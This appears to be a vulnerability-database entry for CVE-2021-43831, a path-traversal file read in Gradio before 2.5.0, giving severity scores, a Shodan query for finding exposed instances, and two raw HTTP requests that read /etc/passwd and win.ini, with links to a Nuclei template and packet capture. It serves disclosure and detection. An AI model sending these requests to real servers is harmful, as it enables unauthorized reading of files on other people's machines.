| Title | Gradio < 2.5.0 - Arbitrary File Read |
|---|---|
| Author | isacaya |
| Severity | High |
| Impact | An attacker would be able to view the contents of a file on the computer. |
| Remediation | Update to version 2.5.0. |
| CVSS Score | 7.7 |
| EPSS Score | 0.30342 |
| CVE ID | CVE-2021-43831 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Gradio" |
| Tags | cve cve2021 lfi gradio vuln |
Files on the host computer can be accessed from the Gradio interface
GET /file/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /file/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43831.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43831.pcap
N/AN/A